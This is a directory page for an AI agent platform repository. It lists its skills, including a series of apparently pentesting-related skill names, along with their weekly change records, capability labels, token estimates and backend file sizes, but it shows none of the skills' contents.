Not in the top 1,000 by GitHub stars
jd-opensource/JoySafeter
🚀 JoySafeter: An enterprise AI Agent Platform—Not just chatting. building、running、testing, and tracing autonomous Agent Teams with visual orchestration...
History
Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.
View weekly changes
backend/app/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/brainstorming/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/executing-plans/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/openclaw-security-checker/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/openclaw-threat-detect/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/pdf/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/pentest-ai-llm-security/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/pentest-api-deep/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/pentest-business-logic/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/pentest-client-advanced/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/pentest-cloud-infrastructure/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/pentest-config-hardening/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/pentest-ctf-binary/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/pentest-ctf-crypto/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/pentest-ctf-forensics/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/pentest-enterprise-web/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/pentest-exploit-validation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/pentest-http-smuggling/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/pentest-mobile-app/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/pentest-network-internal/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/pentest-osint-recon/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/pentest-race-conditions/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/pentest-recon-attack-surface/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/pentest-secrets-exposure/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/pentest-supply-chain/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/pentest-vuln-verify/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/pentest-whitebox-code-review/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/planning-with-files/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/pptx/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/skill-creator/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/skill-security-auditor/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/writing-plans/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 12234a11a9d9
No earlier version was observed for comparison.
skills/xlsx/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
12234a11a9d9 → 12234a11a9d9
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 12234a11a9d9
No earlier version was observed for comparison.
Heat
0.4- Star growth, last 7 daysNot available
- Star growth, last 24 hoursNot available
- Rank movement, last 7 daysNot available
- Commits, last 30 daysNot available
- Accounts asking about it through MCP, last 7 daysNot available
- Hot votes this weekNot available
Heat never changes the order by stars, and sponsorship never touches it. How heat works
Stars over time
30-day change not yet available: not enough history.
Individual skills in this repository
- app
backend/app - brainstorming
skills/brainstorming - executing-plans
skills/executing-plans - openclaw-security-checker
skills/openclaw-security-checker - openclaw-threat-detect
skills/openclaw-threat-detect - pdf
skills/pdf - pentest-ai-llm-security
skills/pentest-ai-llm-security - pentest-api-deep
skills/pentest-api-deep - pentest-business-logic
skills/pentest-business-logic - pentest-client-advanced
skills/pentest-client-advanced - pentest-cloud-infrastructure
skills/pentest-cloud-infrastructure - pentest-config-hardening
skills/pentest-config-hardening - pentest-ctf-binary
skills/pentest-ctf-binary - pentest-ctf-crypto
skills/pentest-ctf-crypto - pentest-ctf-forensics
skills/pentest-ctf-forensics - seclens-enterprise-web
skills/pentest-enterprise-web - pentest-exploit-validation
skills/pentest-exploit-validation - pentest-http-smuggling
skills/pentest-http-smuggling - pentest-mobile-app
skills/pentest-mobile-app - pentest-network-internal
skills/pentest-network-internal - pentest-osint-recon
skills/pentest-osint-recon - pentest-race-conditions
skills/pentest-race-conditions - pentest-recon-attack-surface
skills/pentest-recon-attack-surface - pentest-secrets-exposure
skills/pentest-secrets-exposure - pentest-supply-chain
skills/pentest-supply-chain - pentest-vuln-verify-test
skills/pentest-vuln-verify - pentest-whitebox-code-review
skills/pentest-whitebox-code-review - planning-with-files
skills/planning-with-files - pptx
skills/pptx - skill-creator
skills/skill-creator - skill-security-auditor
skills/skill-security-auditor - writing-plans
skills/writing-plans - xlsx
skills/xlsx
How it works
When your agent uses it
What it loads into context
Frontmatter
0 tokensAlways available to the agent
SKILL.md
3,746 tokensWhen the skill is activated
Reference documents
34,739 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 概述
- 架构设计
- 数据模型
- 核心功能
- 权限控制
- 数据访问层
- API 端点
- 异常处理
- 数据库关系
- 使用示例
- 扩展性考虑
- 注意事项
- 相关文件
Scripts executed separately
__init__.pyapi/__init__.pyapi/schemas.pyapi/v1/__init__.pyapi/v1/artifacts.pyapi/v1/auth.pyapi/v1/chat.pyapi/v1/conversations.pyapi/v1/custom_tools.pyapi/v1/environment.pyapi/v1/files.pyapi/v1/graph_code.pyapi/v1/graph_deployments.pyapi/v1/graphs.pyapi/v1/mcp.pyapi/v1/memory/__init__.pyapi/v1/memory/memory.pyapi/v1/memory/schemas.pyapi/v1/model_credentials.pyapi/v1/model_providers.pyapi/v1/model_usage.pyapi/v1/models.pyapi/v1/oauth.pyapi/v1/openapi_graph.pyapi/v1/openclaw_chat.pyapi/v1/openclaw_devices.pyapi/v1/openclaw_instances.pyapi/v1/openclaw_proxy.pyapi/v1/organizations.pyapi/v1/runs.pyapi/v1/sandboxes.pyapi/v1/sessions.pyapi/v1/skill_collaborators.pyapi/v1/skill_versions.pyapi/v1/skills.pyapi/v1/tokens.pyapi/v1/tools.pyapi/v1/traces.pyapi/v1/users.pyapi/v1/version.pyapi/v1/workspace_files.pyapi/v1/workspace_folders.pyapi/v1/workspaces.pycommon/auth_dependency.pycommon/cookie_auth.pycommon/dependencies.pycommon/exceptions.pycommon/logging.pycommon/pagination.pycommon/permissions.pycommon/response.pycommon/skill_permissions.pycore/__init__.pycore/a2a/__init__.pycore/a2a/client.pycore/agent/__init__.pycore/agent/artifacts/__init__.pycore/agent/artifacts/collector.pycore/agent/artifacts/resolver.pycore/agent/backends/__init__.pycore/agent/backends/constants.pycore/agent/backends/docker_check.pycore/agent/backends/file_tracking_proxy.pycore/agent/backends/filesystem_sandbox.pycore/agent/backends/pydantic_adapter.pycore/agent/backends/runtime_config.pycore/agent/backends/state_sandbox.pycore/agent/backends/utils/__init__.pycore/agent/backends/utils/command_executor.pycore/agent/checkpointer/checkpointer.pycore/agent/code_agent/__init__.pycore/agent/code_agent/agent.pycore/agent/code_agent/data_analysis.pycore/agent/code_agent/executor/__init__.pycore/agent/code_agent/executor/backend_executor.pycore/agent/code_agent/executor/base.pycore/agent/code_agent/executor/docker_executor.pycore/agent/code_agent/executor/local_executor.pycore/agent/code_agent/executor/router.pycore/agent/code_agent/interpreter/__init__.pycore/agent/code_agent/interpreter/ast_evaluator.pycore/agent/code_agent/interpreter/security.pycore/agent/code_agent/loop.pycore/agent/code_agent/memory.pycore/agent/code_agent/monitoring.pycore/agent/code_agent/parser.pycore/agent/code_agent/planning.pycore/agent/code_agent/tools.pycore/agent/code_agent/utils.pycore/agent/langfuse_callback.pycore/agent/memory/__init__.pycore/agent/memory/manager.pycore/agent/memory/strategies/__init__.pycore/agent/memory/strategies/base.pycore/agent/memory/strategies/summarize.pycore/agent/memory/strategies/types.pycore/agent/middleware/__init__.pycore/agent/middleware/logging.pycore/agent/middleware/memory_iteration_with_db.pycore/agent/node_tools.pycore/agent/sample_agent.pycore/ai_adapter.pycore/code_executor.pycore/constants.pycore/copilot/__init__.pycore/copilot/action_applier.pycore/copilot/action_types.pycore/copilot/action_validator.pycore/copilot/agent.pycore/copilot/exceptions.pycore/copilot/graph_analyzer.pycore/copilot/message_builder.pycore/copilot/prompt_builder.pycore/copilot/response_parser.pycore/copilot/tool_output_parser.pycore/copilot/tools/__init__.pycore/copilot/tools/analysis.pycore/copilot/tools/context.pycore/copilot/tools/core.pycore/copilot/tools/layout.pycore/copilot/tools/models.pycore/copilot/tools/registry.pycore/copilot/tools/think.pycore/copilot_deepagents/__init__.pycore/copilot_deepagents/artifacts.pycore/copilot_deepagents/layout.pycore/copilot_deepagents/manager.pycore/copilot_deepagents/prompts.pycore/copilot_deepagents/runner.pycore/copilot_deepagents/schemas.pycore/copilot_deepagents/utils.pycore/database.pycore/graph/__init__.pycore/graph/deep_agents/__init__.pycore/graph/deep_agents/agent_factory.pycore/graph/deep_agents/builder.pycore/graph/deep_agents/config.pycore/graph/deep_agents/middleware.pycore/graph/deep_agents/model_resolver.pycore/graph/deep_agents/skills_loader.pycore/graph/deep_agents/tool_resolver.pycore/graph/node_secrets.pycore/graph/runtime_prompt_template.pycore/model/__init__.pycore/model/factory.pycore/model/providers/Anthropic.pycore/model/providers/Custom.pycore/model/providers/Gemini.pycore/model/providers/Ollama.pycore/model/providers/OpenaiApiCompatible.pycore/model/providers/Zhipu.pycore/model/providers/__init__.pycore/model/providers/base.pycore/model/utils/__init__.pycore/model/utils/encryption.pycore/model/utils/model_ref.pycore/model/wrappers/__init__.pycore/model/wrappers/base.pycore/model/wrappers/chat_model.pycore/oauth/__init__.pycore/oauth/config.pycore/oauth/factory.pycore/oauth/protocols/__init__.pycore/oauth/protocols/base.pycore/oauth/protocols/jd_sso.pycore/oauth/protocols/oauth2.pycore/rate_limit.pycore/redis.pycore/security.pycore/settings.pycore/skill/__init__.pycore/skill/exceptions.pycore/skill/sandbox_loader.pycore/skill/validators.pycore/skill/yaml_parser.pycore/tools/builtin/preview_skill.pycore/tools/builtin/research_tools.pycore/tools/mcp/__init__.pycore/tools/mcp/mcp.pycore/tools/mcp/multi_mcp.pycore/tools/mcp/params.pycore/tools/mcp_tool_utils.pycore/tools/sandbox/__init__.pycore/tools/sandbox/modal.pycore/tools/sandbox/runloop.pycore/tools/sandbox/sandbox_factory.pycore/tools/skill/__init__.pycore/tools/tool.pycore/tools/tool_registry.pycore/tools/toolkit.pycore/trace_context.pymain.pymodels/__init__.pymodels/access_control.pymodels/agent_run.pymodels/auth.pymodels/base.pymodels/chat.pymodels/conversation.pymodels/custom_tool.pymodels/enums.pymodels/execution_trace.pymodels/graph.pymodels/graph_deployment_version.pymodels/graph_execution.pymodels/mcp.pymodels/memory.pymodels/message.pymodels/model_credential.pymodels/model_instance.pymodels/model_provider.pymodels/model_usage_log.pymodels/oauth_account.pymodels/openclaw_instance.pymodels/organization.pymodels/platform_token.pymodels/security_audit_log.pymodels/settings.pymodels/skill.pymodels/skill_collaborator.pymodels/skill_version.pymodels/user_sandbox.pymodels/workspace.pymodels/workspace_files.pyrepositories/__init__.pyrepositories/agent_run.pyrepositories/auth_session.pyrepositories/auth_user.pyrepositories/base.pyrepositories/custom_tool.pyrepositories/graph.pyrepositories/graph_deployment_version.pyrepositories/graph_execution.pyrepositories/mcp_server.pyrepositories/model_credential.pyrepositories/model_instance.pyrepositories/model_provider.pyrepositories/model_usage_log.pyrepositories/organization.pyrepositories/platform_token.pyrepositories/skill.pyrepositories/skill_collaborator.pyrepositories/skill_version.pyrepositories/user.pyrepositories/workspace.pyrepositories/workspace_file.pyrepositories/workspace_folder.pyschemas/__init__.pyschemas/base.pyschemas/chat.pyschemas/common.pyschemas/conversation.pyschemas/graph_deployment_version.pyschemas/mcp.pyschemas/memory.pyschemas/platform_token.pyschemas/runs.pyschemas/skill.pyschemas/skill_collaborator.pyschemas/skill_version.pyschemas/user.pyschemas/validators.pyservices/__init__.pyservices/agent_registry.pyservices/auth_service.pyservices/auth_session_service.pyservices/base.pyservices/copilot_service.pyservices/custom_tool_service.pyservices/email_service.pyservices/environment_service.pyservices/graph_deployment_version_service.pyservices/graph_service.pyservices/login_init.pyservices/mcp_client_service.pyservices/mcp_server_service.pyservices/mcp_toolkit_manager.pyservices/memory_service.pyservices/model_credential_service.pyservices/model_provider_service.pyservices/model_service.pyservices/model_usage_service.pyservices/oauth_service.pyservices/openapi_graph_service.pyservices/openclaw_instance_service.pyservices/organization_service.pyservices/platform_token_service.pyservices/run_reducers/__init__.pyservices/run_reducers/chat.pyservices/run_reducers/copilot.pyservices/run_reducers/skill_creator.pyservices/run_service.pyservices/sandbox_handle.pyservices/sandbox_manager.pyservices/sandbox_pool.pyservices/security_audit_service.pyservices/session_service.pyservices/skill_collaborator_service.pyservices/skill_service.pyservices/skill_version_service.pyservices/tool_service.pyservices/trace_service.pyservices/user_service.pyservices/workspace_file_service.pyservices/workspace_folder_service.pyservices/workspace_permission.pyservices/workspace_service.pyutils/__init__.pyutils/backend_utils.pyutils/datetime.pyutils/file_event_emitter.pyutils/mcp.pyutils/mcp_tool_builder.pyutils/media.pyutils/message_serializer.pyutils/path_utils.pyutils/prompts.pyutils/sandbox_paths.pyutils/stream_event_handler.pyutils/string.pyutils/task_manager.pyutils/token_usage.pyutils/tokens.pywebsocket/__init__.pywebsocket/auth.pywebsocket/chat_commands.pywebsocket/chat_protocol.pywebsocket/chat_task_supervisor.pywebsocket/chat_turn_executor.pywebsocket/chat_ws_handler.pywebsocket/notification_manager.pywebsocket/openclaw_handler.pywebsocket/run_subscription_handler.pywebsocket/run_subscription_manager.py
Files
MODEL.mddoc10,766 bytesSKILL.mdcore13,638 bytesSKILL.mdcore13,638 bytesSKILL.mdcore13,638 bytesSKILL.mdcore13,638 bytesSKILL.mdcore13,638 bytes__init__.pyruns50 bytesapi/__init__.pyruns297 bytesapi/schemas.pyruns3,245 bytesapi/v1/MODEL.mddoc5,477 bytesapi/v1/__init__.pyruns2,986 bytesapi/v1/artifacts.pyruns5,546 bytesapi/v1/auth.pyruns16,361 bytesapi/v1/chat.pyruns20,214 bytesapi/v1/conversations.pyruns29,630 bytesapi/v1/custom_tools.pyruns3,921 bytesapi/v1/environment.pyruns3,261 bytesapi/v1/files.pyruns14,735 bytesapi/v1/graph_code.pyruns5,931 bytesapi/v1/graph_deployments.pyruns7,164 bytesapi/v1/graphs.pyruns22,915 bytesapi/v1/mcp.pyruns12,835 bytesapi/v1/memory/__init__.pyruns66 bytesapi/v1/memory/memory.pyruns17,647 bytesapi/v1/memory/schemas.pyruns4,245 bytesapi/v1/model_credentials.pyruns3,430 bytesapi/v1/model_providers.pyruns4,153 bytesapi/v1/model_usage.pyruns1,281 bytesapi/v1/models.pyruns6,164 bytesapi/v1/oauth.pyruns14,592 bytesapi/v1/openapi_graph.pyruns5,812 bytesapi/v1/openclaw_chat.pyruns3,702 bytesapi/v1/openclaw_devices.pyruns3,955 bytesapi/v1/openclaw_instances.pyruns4,687 bytesapi/v1/openclaw_proxy.pyruns7,704 bytesapi/v1/organizations.pyruns7,980 bytesapi/v1/runs.pyruns9,406 bytesapi/v1/sandboxes.pyruns8,665 bytesapi/v1/sessions.pyruns5,153 bytesapi/v1/skill_collaborators.pyruns4,607 bytesapi/v1/skill_versions.pyruns4,076 bytesapi/v1/skills.pyruns8,505 bytesapi/v1/tokens.pyruns2,930 bytesapi/v1/tools.pyruns2,661 bytesapi/v1/traces.pyruns9,230 bytesapi/v1/users.pyruns10,670 bytesapi/v1/version.pyruns1,048 bytesapi/v1/workspace_files.pyruns5,088 bytesapi/v1/workspace_folders.pyruns8,313 bytesapi/v1/workspaces.pyruns10,999 bytescommon/auth_dependency.pyruns3,947 bytescommon/cookie_auth.pyruns659 bytescommon/dependencies.pyruns6,995 bytescommon/exceptions.pyruns11,097 bytescommon/logging.pyruns5,133 bytescommon/pagination.pyruns2,371 bytescommon/permissions.pyruns1,965 bytescommon/response.pyruns1,842 bytescommon/skill_permissions.pyruns3,128 bytescore/__init__.pyruns178 bytescore/a2a/__init__.pyruns518 bytescore/a2a/client.pyruns16,717 bytescore/agent/__init__.pyruns346 bytescore/agent/artifacts/__init__.pyruns319 bytescore/agent/artifacts/collector.pyruns4,305 bytescore/agent/artifacts/resolver.pyruns8,607 bytescore/agent/backends/__init__.pyruns1,265 bytescore/agent/backends/constants.pyruns1,904 bytescore/agent/backends/docker_check.pyruns5,020 bytescore/agent/backends/file_tracking_proxy.pyruns4,201 bytescore/agent/backends/filesystem_sandbox.pyruns3,488 bytescore/agent/backends/pydantic_adapter.pyruns39,304 bytescore/agent/backends/runtime_config.pyruns6,656 bytescore/agent/backends/state_sandbox.pyruns2,660 bytescore/agent/backends/utils/__init__.pyruns459 bytescore/agent/backends/utils/command_executor.pyruns3,737 bytescore/agent/checkpointer/checkpointer.pyruns8,322 bytescore/agent/code_agent/__init__.pyruns6,347 bytescore/agent/code_agent/agent.pyruns17,688 bytescore/agent/code_agent/data_analysis.pyruns14,842 bytescore/agent/code_agent/executor/__init__.pyruns1,205 bytescore/agent/code_agent/executor/backend_executor.pyruns10,726 bytescore/agent/code_agent/executor/base.pyruns5,758 bytescore/agent/code_agent/executor/docker_executor.pyruns12,482 bytescore/agent/code_agent/executor/local_executor.pyruns9,713 bytescore/agent/code_agent/executor/router.pyruns9,888 bytescore/agent/code_agent/interpreter/__init__.pyruns1,079 bytescore/agent/code_agent/interpreter/ast_evaluator.pyruns47,449 bytescore/agent/code_agent/interpreter/security.pyruns10,639 bytescore/agent/code_agent/loop.pyruns17,970 bytescore/agent/code_agent/memory.pyruns15,885 bytescore/agent/code_agent/monitoring.pyruns18,394 bytescore/agent/code_agent/parser.pyruns8,848 bytescore/agent/code_agent/planning.pyruns16,502 bytescore/agent/code_agent/prompts/planning.mddoc2,343 bytescore/agent/code_agent/prompts/system.mddoc4,098 bytescore/agent/code_agent/tools.pyruns18,518 bytescore/agent/code_agent/utils.pyruns12,452 bytescore/agent/langfuse_callback.pyruns3,245 bytescore/agent/memory/__init__.pyruns580 bytescore/agent/memory/manager.pyruns84,638 bytescore/agent/memory/strategies/__init__.pyruns486 bytescore/agent/memory/strategies/base.pyruns1,916 bytescore/agent/memory/strategies/summarize.pyruns8,189 bytescore/agent/memory/strategies/types.pyruns1,245 bytescore/agent/middleware/SKILL_MIDDLEWARE.mddoc16,104 bytescore/agent/middleware/__init__.pyruns259 bytescore/agent/middleware/logging.pyruns24,987 bytescore/agent/middleware/memory_iteration_with_db.pyruns20,788 bytescore/agent/node_tools.pyruns17,021 bytescore/agent/sample_agent.pyruns11,687 bytescore/ai_adapter.pyruns17,622 bytescore/code_executor.pyruns5,340 bytescore/constants.pyruns441 bytescore/copilot/__init__.pyruns2,684 bytescore/copilot/action_applier.pyruns9,305 bytescore/copilot/action_types.pyruns7,517 bytescore/copilot/action_validator.pyruns7,727 bytescore/copilot/agent.pyruns3,442 bytescore/copilot/exceptions.pyruns3,330 bytescore/copilot/graph_analyzer.pyruns17,312 bytescore/copilot/message_builder.pyruns1,674 bytescore/copilot/prompt_builder.pyruns14,671 bytescore/copilot/response_parser.pyruns8,951 bytescore/copilot/tool_output_parser.pyruns3,621 bytescore/copilot/tools/__init__.pyruns1,984 bytescore/copilot/tools/analysis.pyruns8,021 bytescore/copilot/tools/context.pyruns1,234 bytescore/copilot/tools/core.pyruns13,928 bytescore/copilot/tools/layout.pyruns7,531 bytescore/copilot/tools/models.pyruns2,147 bytescore/copilot/tools/registry.pyruns3,651 bytescore/copilot/tools/think.pyruns14,809 bytescore/copilot_deepagents/__init__.pyruns683 bytescore/copilot_deepagents/artifacts.pyruns11,533 bytescore/copilot_deepagents/layout.pyruns9,095 bytescore/copilot_deepagents/manager.pyruns7,242 bytescore/copilot_deepagents/prompts.pyruns556 bytescore/copilot_deepagents/prompts/manager.mddoc4,728 bytescore/copilot_deepagents/prompts/requirements_analyst.mddoc2,960 bytescore/copilot_deepagents/prompts/validator.mddoc4,964 bytescore/copilot_deepagents/prompts/workflow_architect.mddoc6,972 bytescore/copilot_deepagents/runner.pyruns9,079 bytescore/copilot_deepagents/schemas.pyruns5,591 bytescore/copilot_deepagents/utils.pyruns9,268 bytescore/database.pyruns2,460 bytescore/graph/__init__.pyruns172 bytescore/graph/deep_agents/__init__.pyruns407 bytescore/graph/deep_agents/agent_factory.pyruns7,300 bytescore/graph/deep_agents/builder.pyruns12,385 bytescore/graph/deep_agents/config.pyruns5,296 bytescore/graph/deep_agents/middleware.pyruns1,904 bytescore/graph/deep_agents/model_resolver.pyruns4,651 bytescore/graph/deep_agents/skills_loader.pyruns5,141 bytescore/graph/deep_agents/tool_resolver.pyruns1,310 bytescore/graph/node_secrets.pyruns4,413 bytescore/graph/runtime_prompt_template.pyruns2,447 bytescore/model/MODEL.mddoc6,447 bytescore/model/__init__.pyruns794 bytescore/model/factory.pyruns9,385 bytescore/model/providers/Anthropic.pyruns7,971 bytescore/model/providers/Custom.pyruns13,160 bytescore/model/providers/Gemini.pyruns8,532 bytescore/model/providers/Ollama.pyruns7,769 bytescore/model/providers/OpenaiApiCompatible.pyruns12,113 bytescore/model/providers/PROVIDERS.mddoc11,833 bytescore/model/providers/Zhipu.pyruns3,014 bytescore/model/providers/__init__.pyruns3,008 bytescore/model/providers/base.pyruns4,308 bytescore/model/utils/__init__.pyruns319 bytescore/model/utils/encryption.pyruns3,591 bytescore/model/utils/model_ref.pyruns3,077 bytescore/model/wrappers/__init__.pyruns170 bytescore/model/wrappers/base.pyruns2,188 bytescore/model/wrappers/chat_model.pyruns1,130 bytescore/oauth/__init__.pyruns811 bytescore/oauth/config.pyruns12,735 bytescore/oauth/factory.pyruns2,494 bytescore/oauth/protocols/__init__.pyruns594 bytescore/oauth/protocols/base.pyruns3,403 bytescore/oauth/protocols/jd_sso.pyruns6,631 bytescore/oauth/protocols/oauth2.pyruns7,667 bytescore/rate_limit.pyruns5,585 bytescore/redis.pyruns7,055 bytescore/security.pyruns4,136 bytescore/settings.pyruns15,687 bytescore/skill/ARCHITECTURE.mddoc32,856 bytescore/skill/__init__.pyruns506 bytescore/skill/exceptions.pyruns1,310 bytescore/skill/sandbox_loader.pyruns20,372 bytescore/skill/validators.pyruns3,673 bytescore/skill/yaml_parser.pyruns7,271 bytescore/tools/builtin/preview_skill.pyruns8,311 bytescore/tools/builtin/research_tools.pyruns4,265 bytescore/tools/mcp/__init__.pyruns290 bytescore/tools/mcp/mcp.pyruns17,199 bytescore/tools/mcp/multi_mcp.pyruns17,947 bytescore/tools/mcp/params.pyruns666 bytescore/tools/mcp_tool_utils.pyruns8,482 bytescore/tools/sandbox/__init__.pyruns2,486 bytescore/tools/sandbox/modal.pyruns4,868 